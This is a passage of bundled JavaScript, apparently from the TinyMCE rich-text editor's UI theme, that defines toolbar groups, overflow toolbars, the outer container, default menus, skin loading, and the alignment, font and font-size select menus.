constant$1([ required$1('items'), markers$1(['itemSelector']), field('tgroupBehaviours', [Keying]) ]); var parts$5 = constant$1([group({ name: 'items', unit: 'item' })]); var factory$9 = function (detail, components, _spec, _externals) { return { uid: detail.uid, dom: detail.dom, components: components, behaviours: augment(detail.tgroupBehaviours, [Keying.config({ mode: 'flow', selector: detail.markers.itemSelector })]), domModification: { attributes: { role: 'toolbar' } } }; }; var ToolbarGroup = composite({ name: 'ToolbarGroup', configFields: schema$9(), partFields: parts$5(), factory: factory$9 }); var buildGroups = function (comps) { return map$2(comps, function (g) { return premade(g); }); }; var refresh$1 = function (toolbar, memFloatingToolbarButton, detail) { refresh$2(toolbar, detail, function (overflowGroups) { detail.overflowGroups.set(overflowGroups); memFloatingToolbarButton.getOpt(toolbar).each(function (floatingToolbarButton) { FloatingToolbarButton.setGroups(floatingToolbarButton, buildGroups(overflowGroups)); }); }); }; var factory$8 = function (detail, components, spec, externals) { var memFloatingToolbarButton = record(FloatingToolbarButton.sketch({ fetch: function () { return Future.nu(function (resolve) { resolve(buildGroups(detail.overflowGroups.get())); }); }, layouts: { onLtr: function () { return [ southwest$2, southeast$2 ]; }, onRtl: function () { return [ southeast$2, southwest$2 ]; }, onBottomLtr: function () { return [ northwest$2, northeast$2 ]; }, onBottomRtl: function () { return [ northeast$2, northwest$2 ]; } }, getBounds: spec.getOverflowBounds, lazySink: detail.lazySink, fireDismissalEventInstead: {}, markers: { toggledClass: detail.markers.overflowToggledClass }, parts: { button: externals['overflow-button'](), toolbar: externals.overflow() } })); return { uid: detail.uid, dom: detail.dom, components: components, behaviours: augment(detail.splitToolbarBehaviours, [Coupling.config({ others: { overflowGroup: function () { return ToolbarGroup.sketch(__assign(__assign({}, externals['overflow-group']()), { items: [memFloatingToolbarButton.asSpec()] })); } } })]), apis: { setGroups: function (toolbar, groups) { detail.builtGroups.set(map$2(groups, toolbar.getSystem().build)); refresh$1(toolbar, memFloatingToolbarButton, detail); }, refresh: function (toolbar) { return refresh$1(toolbar, memFloatingToolbarButton, detail); }, toggle: function (toolbar) { memFloatingToolbarButton.getOpt(toolbar).each(function (floatingToolbarButton) { FloatingToolbarButton.toggle(floatingToolbarButton); }); }, isOpen: function (toolbar) { return memFloatingToolbarButton.getOpt(toolbar).map(FloatingToolbarButton.isOpen).getOr(false); }, reposition: function (toolbar) { memFloatingToolbarButton.getOpt(toolbar).each(function (floatingToolbarButton) { FloatingToolbarButton.reposition(floatingToolbarButton); }); }, getOverflow: function (toolbar) { return memFloatingToolbarButton.getOpt(toolbar).bind(FloatingToolbarButton.getToolbar); } }, domModification: { attributes: { role: 'group' } } }; }; var SplitFloatingToolbar = composite({ name: 'SplitFloatingToolbar', configFields: schema$b(), partFields: parts$7(), factory: factory$8, apis: { setGroups: function (apis, toolbar, groups) { apis.setGroups(toolbar, groups); }, refresh: function (apis, toolbar) { apis.refresh(toolbar); }, reposition: function (apis, toolbar) { apis.reposition(toolbar); }, toggle: function (apis, toolbar) { apis.toggle(toolbar); }, isOpen: function (apis, toolbar) { return apis.isOpen(toolbar); }, getOverflow: function (apis, toolbar) { return apis.getOverflow(toolbar); } } }); var schema$8 = constant$1([ markers$1([ 'closedClass', 'openClass', 'shrinkingClass', 'growingClass', 'overflowToggledClass' ]), onHandler('onOpened'), onHandler('onClosed') ].concat(schema$c())); var parts$4 = constant$1([ required({ factory: Toolbar, schema: schema$e(), name: 'primary' }), required({ factory: Toolbar, schema: schema$e(), name: 'overflow', overrides: function (detail) { return { toolbarBehaviours: derive$1([ Sliding.config({ dimension: { property: 'height' }, closedClass: detail.markers.closedClass, openClass: detail.markers.openClass, shrinkingClass: detail.markers.shrinkingClass, growingClass: detail.markers.growingClass, onShrunk: function (comp) { getPart(comp, detail, 'overflow-button').each(function (button) { Toggling.off(button); Focusing.focus(button); }); detail.onClosed(comp); }, onGrown: function (comp) { Keying.focusIn(comp); detail.onOpened(comp); }, onStartGrow: function (comp) { getPart(comp, detail, 'overflow-button').each(Toggling.on); } }), Keying.config({ mode: 'acyclic', onEscape: function (comp) { getPart(comp, detail, 'overflow-button').each(Focusing.focus); return Optional.some(true); } }) ]) }; } }), external$1({ name: 'overflow-button', overrides: function (detail) { return { buttonBehaviours: derive$1([Toggling.config({ toggleClass: detail.markers.overflowToggledClass, aria: { mode: 'pressed' }, toggleOnExecute: false })]) }; } }), external$1({ name: 'overflow-group' }) ]); var isOpen = function (toolbar, detail) { return getPart(toolbar, detail, 'overflow').map(Sliding.hasGrown).getOr(false); }; var toggleToolbar = function (toolbar, detail) { getPart(toolbar, detail, 'overflow-button').bind(function () { return getPart(toolbar, detail, 'overflow'); }).each(function (overf) { refresh(toolbar, detail); Sliding.toggleGrow(overf); }); }; var refresh = function (toolbar, detail) { getPart(toolbar, detail, 'overflow').each(function (overflow) { refresh$2(toolbar, detail, function (groups) { var builtGroups = map$2(groups, function (g) { return premade(g); }); Toolbar.setGroups(overflow, builtGroups); }); getPart(toolbar, detail, 'overflow-button').each(function (button) { if (Sliding.hasGrown(overflow)) { Toggling.on(button); } }); Sliding.refresh(overflow); }); }; var factory$7 = function (detail, components, spec, externals) { var toolbarToggleEvent = 'alloy.toolbar.toggle'; var doSetGroups = function (toolbar, groups) { var built = map$2(groups, toolbar.getSystem().build); detail.builtGroups.set(built); }; return { uid: detail.uid, dom: detail.dom, components: components, behaviours: augment(detail.splitToolbarBehaviours, [ Coupling.config({ others: { overflowGroup: function (toolbar) { return ToolbarGroup.sketch(__assign(__assign({}, externals['overflow-group']()), { items: [Button.sketch(__assign(__assign({}, externals['overflow-button']()), { action: function (_button) { emit(toolbar, toolbarToggleEvent); } }))] })); } } }), config('toolbar-toggle-events', [run$1(toolbarToggleEvent, function (toolbar) { toggleToolbar(toolbar, detail); })]) ]), apis: { setGroups: function (toolbar, groups) { doSetGroups(toolbar, groups); refresh(toolbar, detail); }, refresh: function (toolbar) { return refresh(toolbar, detail); }, toggle: function (toolbar) { return toggleToolbar(toolbar, detail); }, isOpen: function (toolbar) { return isOpen(toolbar, detail); } }, domModification: { attributes: { role: 'group' } } }; }; var SplitSlidingToolbar = composite({ name: 'SplitSlidingToolbar', configFields: schema$8(), partFields: parts$4(), factory: factory$7, apis: { setGroups: function (apis, toolbar, groups) { apis.setGroups(toolbar, groups); }, refresh: function (apis, toolbar) { apis.refresh(toolbar); }, toggle: function (apis, toolbar) { apis.toggle(toolbar); }, isOpen: function (apis, toolbar) { return apis.isOpen(toolbar); } } }); var renderToolbarGroupCommon = function (toolbarGroup) { var attributes = toolbarGroup.title.fold(function () { return {}; }, function (title) { return { attributes: { title: title } }; }); return { dom: __assign({ tag: 'div', classes: ['tox-toolbar__group'] }, attributes), components: [ToolbarGroup.parts.items({})], items: toolbarGroup.items, markers: { itemSelector: '*:not(.tox-split-button) > .tox-tbtn:not([disabled]), ' + '.tox-split-button:not([disabled]), ' + '.tox-toolbar-nav-js:not([disabled])' }, tgroupBehaviours: derive$1([ Tabstopping.config({}), Focusing.config({}) ]) }; }; var renderToolbarGroup = function (toolbarGroup) { return ToolbarGroup.sketch(renderToolbarGroupCommon(toolbarGroup)); }; var getToolbarbehaviours = function (toolbarSpec, modeName) { var onAttached = runOnAttached(function (component) { var groups = map$2(toolbarSpec.initGroups, renderToolbarGroup); Toolbar.setGroups(component, groups); }); return derive$1([ DisablingConfigs.toolbarButton(toolbarSpec.providers.isDisabled), receivingConfig(), Keying.config({ mode: modeName, onEscape: toolbarSpec.onEscape, selector: '.tox-toolbar__group' }), config('toolbar-events', [onAttached]) ]); }; var renderMoreToolbarCommon = function (toolbarSpec) { var modeName = toolbarSpec.cyclicKeying ? 'cyclic' : 'acyclic'; return { uid: toolbarSpec.uid, dom: { tag: 'div', classes: ['tox-toolbar-overlord'] }, parts: { 'overflow-group': renderToolbarGroupCommon({ title: Optional.none(), items: [] }), 'overflow-button': renderIconButtonSpec({ name: 'more', icon: Optional.some('more-drawer'), disabled: false, tooltip: Optional.some('More...'), primary: false, borderless: false }, Optional.none(), toolbarSpec.providers) }, splitToolbarBehaviours: getToolbarbehaviours(toolbarSpec, modeName) }; }; var renderFloatingMoreToolbar = function (toolbarSpec) { var baseSpec = renderMoreToolbarCommon(toolbarSpec); var overflowXOffset = 4; var primary = SplitFloatingToolbar.parts.primary({ dom: { tag: 'div', classes: ['tox-toolbar__primary'] } }); return SplitFloatingToolbar.sketch(__assign(__assign({}, baseSpec), { lazySink: toolbarSpec.getSink, getOverflowBounds: function () { var headerElem = toolbarSpec.moreDrawerData.lazyHeader().element; var headerBounds = absolute$2(headerElem); var docElem = documentElement(headerElem); var docBounds = absolute$2(docElem); var height = Math.max(docElem.dom.scrollHeight, docBounds.height); return bounds(headerBounds.x + overflowXOffset, docBounds.y, headerBounds.width - overflowXOffset * 2, height); }, parts: __assign(__assign({}, baseSpec.parts), { overflow: { dom: { tag: 'div', classes: ['tox-toolbar__overflow'], attributes: toolbarSpec.attributes } } }), components: [primary], markers: { overflowToggledClass: 'tox-tbtn--enabled' } })); }; var renderSlidingMoreToolbar = function (toolbarSpec) { var primary = SplitSlidingToolbar.parts.primary({ dom: { tag: 'div', classes: ['tox-toolbar__primary'] } }); var overflow = SplitSlidingToolbar.parts.overflow({ dom: { tag: 'div', classes: ['tox-toolbar__overflow'] } }); var baseSpec = renderMoreToolbarCommon(toolbarSpec); return SplitSlidingToolbar.sketch(__assign(__assign({}, baseSpec), { components: [ primary, overflow ], markers: { openClass: 'tox-toolbar__overflow--open', closedClass: 'tox-toolbar__overflow--closed', growingClass: 'tox-toolbar__overflow--growing', shrinkingClass: 'tox-toolbar__overflow--shrinking', overflowToggledClass: 'tox-tbtn--enabled' }, onOpened: function (comp) { comp.getSystem().broadcastOn([toolbarHeightChange()], { type: 'opened' }); }, onClosed: function (comp) { comp.getSystem().broadcastOn([toolbarHeightChange()], { type: 'closed' }); } })); }; var renderToolbar = function (toolbarSpec) { var modeName = toolbarSpec.cyclicKeying ? 'cyclic' : 'acyclic'; return Toolbar.sketch({ uid: toolbarSpec.uid, dom: { tag: 'div', classes: ['tox-toolbar'].concat(toolbarSpec.type === ToolbarMode.scrolling ? ['tox-toolbar--scrolling'] : []) }, components: [Toolbar.parts.groups({})], toolbarBehaviours: getToolbarbehaviours(toolbarSpec, modeName) }); }; var factory$6 = function (detail, components, _spec) { var apis = { getSocket: function (comp) { return parts$a.getPart(comp, detail, 'socket'); }, setSidebar: function (comp, panelConfigs) { parts$a.getPart(comp, detail, 'sidebar').each(function (sidebar) { return setSidebar(sidebar, panelConfigs); }); }, toggleSidebar: function (comp, name) { parts$a.getPart(comp, detail, 'sidebar').each(function (sidebar) { return toggleSidebar(sidebar, name); }); }, whichSidebar: function (comp) { return parts$a.getPart(comp, detail, 'sidebar').bind(whichSidebar).getOrNull(); }, getHeader: function (comp) { return parts$a.getPart(comp, detail, 'header'); }, getToolbar: function (comp) { return parts$a.getPart(comp, detail, 'toolbar'); }, setToolbar: function (comp, groups) { parts$a.getPart(comp, detail, 'toolbar').each(function (toolbar) { toolbar.getApis().setGroups(toolbar, groups); }); }, setToolbars: function (comp, toolbars) { parts$a.getPart(comp, detail, 'multiple-toolbar').each(function (mToolbar) { CustomList.setItems(mToolbar, toolbars); }); }, refreshToolbar: function (comp) { var toolbar = parts$a.getPart(comp, detail, 'toolbar'); toolbar.each(function (toolbar) { return toolbar.getApis().refresh(toolbar); }); }, toggleToolbarDrawer: function (comp) { parts$a.getPart(comp, detail, 'toolbar').each(function (toolbar) { mapFrom(toolbar.getApis().toggle, function (toggle) { return toggle(toolbar); }); }); }, isToolbarDrawerToggled: function (comp) { return parts$a.getPart(comp, detail, 'toolbar').bind(function (toolbar) { return Optional.from(toolbar.getApis().isOpen).map(function (isOpen) { return isOpen(toolbar); }); }).getOr(false); }, getThrobber: function (comp) { return parts$a.getPart(comp, detail, 'throbber'); }, focusToolbar: function (comp) { var optToolbar = parts$a.getPart(comp, detail, 'toolbar').orThunk(function () { return parts$a.getPart(comp, detail, 'multiple-toolbar'); }); optToolbar.each(function (toolbar) { Keying.focusIn(toolbar); }); }, setMenubar: function (comp, menus) { parts$a.getPart(comp, detail, 'menubar').each(function (menubar) { SilverMenubar.setMenus(menubar, menus); }); }, focusMenubar: function (comp) { parts$a.getPart(comp, detail, 'menubar').each(function (menubar) { SilverMenubar.focus(menubar); }); } }; return { uid: detail.uid, dom: detail.dom, components: components, apis: apis, behaviours: detail.behaviours }; }; var partMenubar = partType.optional({ factory: SilverMenubar, name: 'menubar', schema: [required$1('backstage')] }); var toolbarFactory = function (spec) { if (spec.type === ToolbarMode.sliding) { return renderSlidingMoreToolbar; } else if (spec.type === ToolbarMode.floating) { return renderFloatingMoreToolbar; } else { return renderToolbar; } }; var partMultipleToolbar = partType.optional({ factory: { sketch: function (spec) { return CustomList.sketch({ uid: spec.uid, dom: spec.dom, listBehaviours: derive$1([Keying.config({ mode: 'acyclic', selector: '.tox-toolbar' })]), makeItem: function () { return renderToolbar({ type: spec.type, uid: generate$6('multiple-toolbar-item'), cyclicKeying: false, initGroups: [], providers: spec.providers, onEscape: function () { spec.onEscape(); return Optional.some(true); } }); }, setupItem: function (_mToolbar, tc, data, _index) { Toolbar.setGroups(tc, data); }, shell: true }); } }, name: 'multiple-toolbar', schema: [ required$1('dom'), required$1('onEscape') ] }); var partToolbar = partType.optional({ factory: { sketch: function (spec) { var renderer = toolbarFactory(spec); var toolbarSpec = { type: spec.type, uid: spec.uid, onEscape: function () { spec.onEscape(); return Optional.some(true); }, cyclicKeying: false, initGroups: [], getSink: spec.getSink, providers: spec.providers, moreDrawerData: { lazyToolbar: spec.lazyToolbar, lazyMoreButton: spec.lazyMoreButton, lazyHeader: spec.lazyHeader }, attributes: spec.attributes }; return renderer(toolbarSpec); } }, name: 'toolbar', schema: [ required$1('dom'), required$1('onEscape'), required$1('getSink') ] }); var partHeader = partType.optional({ factory: { sketch: renderHeader }, name: 'header', schema: [required$1('dom')] }); var partSocket = partType.optional({ name: 'socket', schema: [required$1('dom')] }); var partSidebar = partType.optional({ factory: { sketch: renderSidebar }, name: 'sidebar', schema: [required$1('dom')] }); var partThrobber = partType.optional({ factory: { sketch: renderThrobber }, name: 'throbber', schema: [required$1('dom')] }); var OuterContainer = composite({ name: 'OuterContainer', factory: factory$6, configFields: [ required$1('dom'), required$1('behaviours') ], partFields: [ partHeader, partMenubar, partToolbar, partMultipleToolbar, partSocket, partSidebar, partThrobber ], apis: { getSocket: function (apis, comp) { return apis.getSocket(comp); }, setSidebar: function (apis, comp, panelConfigs) { apis.setSidebar(comp, panelConfigs); }, toggleSidebar: function (apis, comp, name) { apis.toggleSidebar(comp, name); }, whichSidebar: function (apis, comp) { return apis.whichSidebar(comp); }, getHeader: function (apis, comp) { return apis.getHeader(comp); }, getToolbar: function (apis, comp) { return apis.getToolbar(comp); }, setToolbar: function (apis, comp, grps) { var groups = map$2(grps, function (grp) { return renderToolbarGroup(grp); }); apis.setToolbar(comp, groups); }, setToolbars: function (apis, comp, ts) { var renderedToolbars = map$2(ts, function (g) { return map$2(g, renderToolbarGroup); }); apis.setToolbars(comp, renderedToolbars); }, refreshToolbar: function (apis, comp) { return apis.refreshToolbar(comp); }, toggleToolbarDrawer: function (apis, comp) { apis.toggleToolbarDrawer(comp); }, isToolbarDrawerToggled: function (apis, comp) { return apis.isToolbarDrawerToggled(comp); }, getThrobber: function (apis, comp) { return apis.getThrobber(comp); }, setMenubar: function (apis, comp, menus) { apis.setMenubar(comp, menus); }, focusMenubar: function (apis, comp) { apis.focusMenubar(comp); }, focusToolbar: function (apis, comp) { apis.focusToolbar(comp); } } }); var defaultMenubar = 'file edit view insert format tools table help'; var defaultMenus = { file: { title: 'File', items: 'newdocument restoredraft | preview | export print | deleteallconversations' }, edit: { title: 'Edit', items: 'undo redo | cut copy paste pastetext | selectall | searchreplace' }, view: { title: 'View', items: 'code | visualaid visualchars visualblocks | spellchecker | preview fullscreen | showcomments' }, insert: { title: 'Insert', items: 'image link media addcomment pageembed template codesample inserttable | charmap emoticons hr | pagebreak nonbreaking anchor toc | insertdatetime' }, format: { title: 'Format', items: 'bold italic underline strikethrough superscript subscript codeformat | formats blockformats fontformats fontsizes align lineheight | forecolor backcolor | language | removeformat' }, tools: { title: 'Tools', items: 'spellchecker spellcheckerlanguage | a11ycheck code wordcount' }, table: { title: 'Table', items: 'inserttable | cell row column | advtablesort | tableprops deletetable' }, help: { title: 'Help', items: 'help' } }; var make = function (menu, registry, editor) { var removedMenuItems = getRemovedMenuItems(editor).split(/[ ,]/); return { text: menu.title, getItems: function () { return bind$3(menu.items, function (i) { var itemName = i.toLowerCase(); if (itemName.trim().length === 0) { return []; } else if (exists(removedMenuItems, function (removedMenuItem) { return removedMenuItem === itemName; })) { return []; } else if (itemName === 'separator' || itemName === '|') { return [{ type: 'separator' }]; } else if (registry.menuItems[itemName]) { return [registry.menuItems[itemName]]; } else { return []; } }); } }; }; var parseItemsString = function (items) { if (typeof items === 'string') { return items.split(' '); } return items; }; var identifyMenus = function (editor, registry) { var rawMenuData = __assign(__assign({}, defaultMenus), registry.menus); var userDefinedMenus = keys(registry.menus).length > 0; var menubar = registry.menubar === undefined || registry.menubar === true ? parseItemsString(defaultMenubar) : parseItemsString(registry.menubar === false ? '' : registry.menubar); var validMenus = filter$2(menubar, function (menuName) { var isDefaultMenu = has$2(defaultMenus, menuName); if (userDefinedMenus) { return isDefaultMenu || get$e(registry.menus, menuName).exists(function (menu) { return has$2(menu, 'items'); }); } else { return isDefaultMenu; } }); var menus = map$2(validMenus, function (menuName) { var menuData = rawMenuData[menuName]; return make({ title: menuData.title, items: parseItemsString(menuData.items) }, registry, editor); }); return filter$2(menus, function (menu) { var isNotSeparator = function (item) { return item.type !== 'separator'; }; return menu.getItems().length > 0 && exists(menu.getItems(), isNotSeparator); }); }; var fireSkinLoaded = function (editor) { var done = function () { editor._skinLoaded = true; fireSkinLoaded$1(editor); }; return function () { if (editor.initialized) { done(); } else { editor.on('init', done); } }; }; var fireSkinLoadError = function (editor, err) { return function () { return fireSkinLoadError$1(editor, { message: err }); }; }; var loadStylesheet = function (editor, stylesheetUrl, styleSheetLoader) { return new global$c(function (resolve, reject) { styleSheetLoader.load(stylesheetUrl, resolve, reject); editor.on('remove', function () { return styleSheetLoader.unload(stylesheetUrl); }); }); }; var loadUiSkins = function (editor, skinUrl) { var skinUiCss = skinUrl + '/skin.min.css'; return loadStylesheet(editor, skinUiCss, editor.ui.styleSheetLoader); }; var loadShadowDomUiSkins = function (editor, skinUrl) { var isInShadowRoot$1 = isInShadowRoot(SugarElement.fromDom(editor.getElement())); if (isInShadowRoot$1) { var shadowDomSkinCss = skinUrl + '/skin.shadowdom.min.css'; return loadStylesheet(editor, shadowDomSkinCss, global$b.DOM.styleSheetLoader); } else { return global$c.resolve(); } }; var loadSkin = function (isInline, editor) { var skinUrl = getSkinUrl(editor); if (skinUrl) { editor.contentCSS.push(skinUrl + (isInline ? '/content.inline' : '/content') + '.min.css'); } if (isSkinDisabled(editor) === false && isString(skinUrl)) { global$c.all([ loadUiSkins(editor, skinUrl), loadShadowDomUiSkins(editor, skinUrl) ]).then(fireSkinLoaded(editor), fireSkinLoadError(editor, 'Skin could not be loaded')); } else { fireSkinLoaded(editor)(); } }; var iframe = curry(loadSkin, false); var inline = curry(loadSkin, true); var onSetupFormatToggle = function (editor, name) { return function (api) { var boundCallback = unbindable(); var init = function () { api.setActive(editor.formatter.match(name)); var binding = editor.formatter.formatChanged(name, api.setActive); boundCallback.set(binding); }; editor.initialized ? init() : editor.once('init', init); return function () { editor.off('init', init); boundCallback.clear(); }; }; }; var onSetupEvent = function (editor, event, f) { return function (api) { var handleEvent = function () { return f(api); }; var init = function () { f(api); editor.on(event, handleEvent); }; editor.initialized ? init() : editor.once('init', init); return function () { editor.off('init', init); editor.off(event, handleEvent); }; }; }; var onActionToggleFormat$1 = function (editor) { return function (rawItem) { return function () { editor.undoManager.transact(function () { editor.focus(); editor.execCommand('mceToggleFormat', false, rawItem.format); }); }; }; }; var onActionExecCommand = function (editor, command) { return function () { return editor.execCommand(command); }; }; var generateSelectItems = function (_editor, backstage, spec) { var generateItem = function (rawItem, response, disabled, value) { var translatedText = backstage.shared.providers.translate(rawItem.title); if (rawItem.type === 'separator') { return Optional.some({ type: 'separator', text: translatedText }); } else if (rawItem.type === 'submenu') { var items = bind$3(rawItem.getStyleItems(), function (si) { return validate(si, response, value); }); if (response === 0 && items.length <= 0) { return Optional.none(); } else { return Optional.some({ type: 'nestedmenuitem', text: translatedText, disabled: items.length <= 0, getSubmenuItems: function () { return bind$3(rawItem.getStyleItems(), function (si) { return validate(si, response, value); }); } }); } } else { return Optional.some(__assign({ type: 'togglemenuitem', text: translatedText, icon: rawItem.icon, active: rawItem.isSelected(value), disabled: disabled, onAction: spec.onAction(rawItem) }, rawItem.getStylePreview().fold(function () { return {}; }, function (preview) { return { meta: { style: preview } }; }))); } }; var validate = function (item, response, value) { var invalid = item.type === 'formatter' && spec.isInvalid(item); if (response === 0) { return invalid ? [] : generateItem(item, response, false, value).toArray(); } else { return generateItem(item, response, invalid, value).toArray(); } }; var validateItems = function (preItems) { var value = spec.getCurrentValue(); var response = spec.shouldHide ? 0 : 1; return bind$3(preItems, function (item) { return validate(item, response, value); }); }; var getFetch = function (backstage, getStyleItems) { return function (comp, callback) { var preItems = getStyleItems(); var items = validateItems(preItems); var menu = build(items, ItemResponse$1.CLOSE_ON_EXECUTE, backstage, false); callback(menu); }; }; return { validateItems: validateItems, getFetch: getFetch }; }; var createMenuItems = function (editor, backstage, spec) { var dataset = spec.dataset; var getStyleItems = dataset.type === 'basic' ? function () { return map$2(dataset.data, function (d) { return processBasic(d, spec.isSelectedFor, spec.getPreviewFor); }); } : dataset.getData; return { items: generateSelectItems(editor, backstage, spec), getStyleItems: getStyleItems }; }; var createSelectButton = function (editor, backstage, spec) { var _a = createMenuItems(editor, backstage, spec), items = _a.items, getStyleItems = _a.getStyleItems; var getApi = function (comp) { return { getComponent: constant$1(comp) }; }; var onSetup = onSetupEvent(editor, 'NodeChange', function (api) { var comp = api.getComponent(); spec.updateText(comp); }); return renderCommonDropdown({ text: spec.icon.isSome() ? Optional.none() : spec.text, icon: spec.icon, tooltip: Optional.from(spec.tooltip), role: Optional.none(), fetch: items.getFetch(backstage, getStyleItems), onSetup: onSetup, getApi: getApi, columns: 1, presets: 'normal', classes: spec.icon.isSome() ? [] : ['bespoke'], dropdownBehaviours: [] }, 'tox-tbtn', backstage.shared); }; var process = function (rawFormats) { return map$2(rawFormats, function (item) { var title = item, format = item; var values = item.split('='); if (values.length > 1) { title = values[0]; format = values[1]; } return { title: title, format: format }; }); }; var buildBasicStaticDataset = function (data) { return { type: 'basic', data: data }; }; var Delimiter; (function (Delimiter) { Delimiter[Delimiter['SemiColon'] = 0] = 'SemiColon'; Delimiter[Delimiter['Space'] = 1] = 'Space'; }(Delimiter || (Delimiter = {}))); var split = function (rawFormats, delimiter) { if (delimiter === Delimiter.SemiColon) { return rawFormats.replace(/;$/, '').split(';'); } else { return rawFormats.split(' '); } }; var buildBasicSettingsDataset = function (editor, settingName, defaults, delimiter) { var rawFormats = editor.getParam(settingName, defaults, 'string'); var data = process(split(rawFormats, delimiter)); return { type: 'basic', data: data }; }; var alignMenuItems = [ { title: 'Left', icon: 'align-left', format: 'alignleft', command: 'JustifyLeft' }, { title: 'Center', icon: 'align-center', format: 'aligncenter', command: 'JustifyCenter' }, { title: 'Right', icon: 'align-right', format: 'alignright', command: 'JustifyRight' }, { title: 'Justify', icon: 'align-justify', format: 'alignjustify', command: 'JustifyFull' } ]; var getSpec$4 = function (editor) { var getMatchingValue = function () { return find$5(alignMenuItems, function (item) { return editor.formatter.match(item.format); }); }; var isSelectedFor = function (format) { return function () { return editor.formatter.match(format); }; }; var getPreviewFor = function (_format) { return Optional.none; }; var updateSelectMenuIcon = function (comp) { var match = getMatchingValue(); var alignment = match.fold(constant$1('left'), function (item) { return item.title.toLowerCase(); }); emitWith(comp, updateMenuIcon, { icon: 'align-' + alignment }); }; var dataset = buildBasicStaticDataset(alignMenuItems); var onAction = function (rawItem) { return function () { return find$5(alignMenuItems, function (item) { return item.format === rawItem.format; }).each(function (item) { return editor.execCommand(item.command); }); }; }; return { tooltip: 'Align', text: Optional.none(), icon: Optional.some('align-left'), isSelectedFor: isSelectedFor, getCurrentValue: Optional.none, getPreviewFor: getPreviewFor, onAction: onAction, updateText: updateSelectMenuIcon, dataset: dataset, shouldHide: false, isInvalid: function (item) { return !editor.formatter.canApply(item.format); } }; }; var createAlignSelect = function (editor, backstage) { return createSelectButton(editor, backstage, getSpec$4(editor)); }; var alignSelectMenu = function (editor, backstage) { var menuItems = createMenuItems(editor, backstage, getSpec$4(editor)); editor.ui.registry.addNestedMenuItem('align', { text: backstage.shared.providers.translate('Align'), getSubmenuItems: function () { return menuItems.items.validateItems(menuItems.getStyleItems()); } }); }; var defaultFontsFormats = 'Andale Mono=andale mono,monospace;' + 'Arial=arial,helvetica,sans-serif;' + 'Arial Black=arial black,sans-serif;' + 'Book Antiqua=book antiqua,palatino,serif;' + 'Comic Sans MS=comic sans ms,sans-serif;' + 'Courier New=courier new,courier,monospace;' + 'Georgia=georgia,palatino,serif;' + 'Helvetica=helvetica,arial,sans-serif;' + 'Impact=impact,sans-serif;' + 'Symbol=symbol;' + 'Tahoma=tahoma,arial,helvetica,sans-serif;' + 'Terminal=terminal,monaco,monospace;' + 'Times New Roman=times new roman,times,serif;' + 'Trebuchet MS=trebuchet ms,geneva,sans-serif;' + 'Verdana=verdana,geneva,sans-serif;' + 'Webdings=webdings;' + 'Wingdings=wingdings,zapf dingbats'; var systemStackFonts = [ '-apple-system', 'Segoe UI', 'Roboto', 'Helvetica Neue', 'sans-serif' ]; var splitFonts = function (fontFamily) { var fonts = fontFamily.split(/\s*,\s*/); return map$2(fonts, function (font) { return font.replace(/^['"]+|['"]+$/g, ''); }); }; var isSystemFontStack = function (fontFamily) { var matchesSystemStack = function () { var fonts = splitFonts(fontFamily.toLowerCase()); return forall(systemStackFonts, function (font) { return fonts.indexOf(font.toLowerCase()) > -1; }); }; return fontFamily.indexOf('-apple-system') === 0 && matchesSystemStack(); }; var getSpec$3 = function (editor) { var systemFont = 'System Font'; var getMatchingValue = function () { var getFirstFont = function (fontFamily) { return fontFamily ? splitFonts(fontFamily)[0] : ''; }; var fontFamily = editor.queryCommandValue('FontName'); var items = dataset.data; var font = fontFamily ? fontFamily.toLowerCase() : ''; var matchOpt = find$5(items, function (item) { var format = item.format; return format.toLowerCase() === font || getFirstFont(format).toLowerCase() === getFirstFont(font).toLowerCase(); }).orThunk(function () { return someIf(isSystemFontStack(font), { title: systemFont, format: font }); }); return { matchOpt: matchOpt, font: fontFamily }; }; var isSelectedFor = function (item) { return function (valueOpt) { return valueOpt.exists(function (value) { return value.format === item; }); }; }; var getCurrentValue = function () { var matchOpt = getMatchingValue().matchOpt; return matchOpt; }; var getPreviewFor = function (item) { return function () { return Optional.some({ tag: 'div', styles: item.indexOf('dings') === -1 ? { 'font-family': item } : {} }); }; }; var onAction = function (rawItem) { return function () { editor.undoManager.transact(function () { editor.focus(); editor.execCommand('FontName', false, rawItem.format); }); }; }; var updateSelectMenuText = function (comp) { var _a = getMatchingValue(), matchOpt = _a.matchOpt, font = _a.font; var text = matchOpt.fold(constant$1(font), function (item) { return item.title; }); emitWith(comp, updateMenuText, { text: text }); }; var dataset = buildBasicSettingsDataset(editor, 'font_formats', defaultFontsFormats, Delimiter.SemiColon); return { tooltip: 'Fonts', text: Optional.some(systemFont), icon: Optional.none(), isSelectedFor: isSelectedFor, getCurrentValue: getCurrentValue, getPreviewFor: getPreviewFor, onAction: onAction, updateText: updateSelectMenuText, dataset: dataset, shouldHide: false, isInvalid: never }; }; var createFontSelect = function (editor, backstage) { return createSelectButton(editor, backstage, getSpec$3(editor)); }; var fontSelectMenu = function (editor, backstage) { var menuItems = createMenuItems(editor, backstage, getSpec$3(editor)); editor.ui.registry.addNestedMenuItem('fontformats', { text: backstage.shared.providers.translate('Fonts'), getSubmenuItems: function () { return menuItems.items.validateItems(menuItems.getStyleItems()); } }); }; var defaultFontsizeFormats = '8pt 10pt 12pt 14pt 18pt 24pt 36pt'; var legacyFontSizes = { '8pt': '1', '10pt': '2', '12pt': '3', '14pt': '4', '18pt': '5', '24pt': '6', '36pt': '7' }; var keywordFontSizes = { 'xx-small': '7pt', 'x-small': '8pt', 'small': '10pt', 'medium': '12pt', 'large': '14pt', 'x-large': '18pt', 'xx-large': '24pt' }; var round = function (number, precision) { var factor = Math.pow(10, precision); return Math.round(number * factor) / factor; }; var toPt = function (fontSize, precision) { if (/[0-9.]+px$/.test(fontSize)) { return round(parseInt(fontSize, 10) * 72 / 96, precision || 0) + 'pt'; } else { return get$e(keywordFontSizes, fontSize).getOr(fontSize); } }; var toLegacy = function (fontSize) { return get$e(legacyFontSizes, fontSize).getOr(''); }; var getSpec$2 = function (editor) { var getMatchingValue = function () { var matchOpt = Optional.none(); var items = dataset.data; var fontSize = editor.queryCommandValue('FontSize'); if (fontSize) { var _loop_1 = function (precision) { var pt = toPt(fontSize, precision); var legacy = toLegacy(pt); matchOpt = find$5(items, function (item) { return item.format === fontSize || item.format === pt || item.format === legacy; }); }; for (var precision = 3; matchOpt.isNone() && precision >= 0; precision--) { _loop_1(precision); } } return { matchOpt: matchOpt, size: fontSize }; }; var isSelectedFor = function (item) { return function (valueOpt) { return valueOpt.exists(function (value) { return value.format === item; }); }; }; var getCurrentValue = function () { var matchOpt = getMatchingValue().matchOpt; return matchOpt; }; var getPreviewFor = constant$1(Optional.none); var 